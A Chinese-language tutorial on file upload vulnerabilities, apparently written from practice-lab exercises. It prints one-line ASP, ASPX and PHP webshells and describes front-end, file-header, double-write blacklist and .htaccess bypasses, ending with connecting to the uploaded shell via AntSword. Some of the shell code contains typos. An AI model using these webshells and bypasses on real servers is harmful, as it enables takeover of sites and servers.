漏洞介绍：
现代互联网的Web应用程序中，上传文件是一种常见的功能，因为它有助于提高业务效率，如企业的OA系统，允许用户上传图片，视频，头像和许多其他类型的文件。然而向用户提供的功能越多，Web应用受到攻击的风险就越大，如果Web应用存在文件上传漏洞，那么恶意用户就可以利用文件上传漏洞剑可执行脚本程序（WebShell）上传到服务器中，获得网站的权限，然后可以进一步对服务器进行入侵，扩大控制权限。
漏洞利用：
非法用户可以利用上传的恶意脚本文件控制整个网站，甚至服务器。这个恶意的脚本文件，又被称为 WebShell，是以 ASP、PHP、JSP等网页设计语言编写的网页脚本，通常也叫作网页后门。攻击者在入侵了一个网站后，常会将 WebShell上传到网站的目录下或者插入正常的网页中，然后使用浏览器或者对应的 WebShell客户端来访问这些后门，将会得到一个命令执行的环境，以达到控制网站服务器的目的。
一句话木马：
tips:这下面的木马蚁剑连接的时候密码都为x
ASP的一句话木马：
1. <%eval request("x")%>
2. <%execuate request("x")%>
ASPX的一句话木马：
1. <%@ Page Language="Jscript"%>
<%eval (Request.Item["x"],"unsafe");%)
PHP的一句话木马：
1. <?php @eval($_POST['x']); ?>
2. <?php assert($_POST['x']); ?>
漏洞实战样例：
1.JS前端绕过：
靶场题目：
此时我们上传一个一句话木马。
说明前端让后缀为.php的文件是黑名单了
我们可以先改为.jpg文件然后用bp抓包，在包里面改为.php，因为此时我们已经通过了前端验证了
将.jpg改为.php就可以上传成功了
上传成功了；
复制图片地址，然后将后缀改成.php
php代码被执行成功。
2.文件头绕过
文件上传时，服务器除了JS前端检验，有的检验还会对上传的文件进行文件头检测。文件头信息通常在一个文件的开头，我们用查看十六进制的方式可以查看一个文件的文件头信息。这也是最方便、最快捷的用来辨别一个文件真实内容的方法。
常见的文件头标志如下：
JPEG (jpg)，文件头：FFD8FF
PNG (png)，文件头：89504E47
GIF (gif)，文件头：47494638
HTML (html)，文件头：68746D6C3E
ZIP Archive (zip)，文件头：504B0304
RAR Archive (rar)，文件头：52617221
Adobe Acrobat (pdf)，文件头：255044462D312E
MS Word/Excel (xls.or.doc)，文件头：D0CF11E0
tips：一般图片文件我们都在前面加入GIF89a来绕过
不加文件头的时候；
加了文件头的时候；
然后靶场实战吧！！！
同样先转为图片.jpg文件上传改包
上传成功了
3.黑名单缺陷
限制文件上传的方式千奇百怪，白名单与黑名单就是常见的限制方式。白名单是设置可以让用户上传的文件格式，白名单以外的文件格式都不能通过。黑名单是设置用户不能上传的文件格式，黑名单以外的文件格式都能通过。所以在一般情况下，白名单比黑名单限制的用户要更多一些。
上传.php文件会失败的就是黑名单过滤了
本题给了提示；
会把黑名单里面的字符串删掉，然后继续拼接路径。这时候我们可以想到双写绕过
如；
"php"被删掉变成"" 什么都没有
"pphphp"，中间的php被删掉，然后前面的p和后面的hp合成新的php
这就是双写绕过
这里我们将.jpg改为.pphphp,后端遇到pphphp的时候会把它变成php
成功上传了
4. .htaccess文件
.htaccess文件时Apache服务中的一个配置文件，它负责相关目录下的网页配置。通过htaccess文件，可以帮助我们实现：网页301重定向、自定义404错误页面，改变文件扩展名、允许/阻止特定的用户或者目录的访问，禁止目录列表，配置默认文档等功能
其中.htaccess文件内容：SetHandler application/x-http-php的意思是设置当前目录所有文件都使用php解析，那么无论上传任何文件，只要符合php语言代码规范，就会被当做PHP执行。
我们先把.htaccess文件上传上去，然后上传一个带有一句话木马的.jpg文件，当你访问.jpg文件时，这个文件会被当成php执行
我们的.htaccess文件根muma.jpg文件在一个目录下，我们访问muma.jpg文件看看
.htaccess适用范围比.user.ini小，他好像只能用于apache服务器上的，大家做ctf题的时候可能会遇到，我这里其实演示失败了....，但是过程就是这样的！！！
一句话木马的使用；
为什么现在才写一句话木马，因为你首先得会上传php文件是吧，不然上传的木马是个图片怎么用呢？
我喜欢用的一句话木马
tips：GIF89a可以绕过后端关于图片的一些验证。phpinfo可以判断是否上传的文件可以按照php执行，会有回显。
先上传成功木马先
然后用蚁剑连接他
先点击测试连接，如果连接成功的话点击添加
双击它我们就可以看到目标的所有目录文件了
所以这就是一句话木马的危害
